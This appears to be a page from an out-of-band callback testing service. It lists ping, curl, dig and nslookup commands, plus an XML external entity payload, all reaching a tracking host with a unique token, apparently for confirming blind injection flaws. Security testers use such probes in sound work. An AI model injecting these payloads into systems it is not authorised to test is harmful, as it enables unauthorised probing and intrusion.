$ ping -c1 -p 00a460f6723e496ef992192f11a70200 unhack.ca
 
$ curl http://unhack.ca/p/a460f6723e496ef992192f11a702
 
$ dig a460f6723e496ef992192f11a702 @unhack.ca
 
$ dig a460f6723e496ef992192f11a702.ns.unhack.ca
 
C:\> nslookup a460f6723e496ef992192f11a702 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a460f6723e496ef992192f11a702">]>
    <foo>&xxe;</foo>
 
Waiting for ping...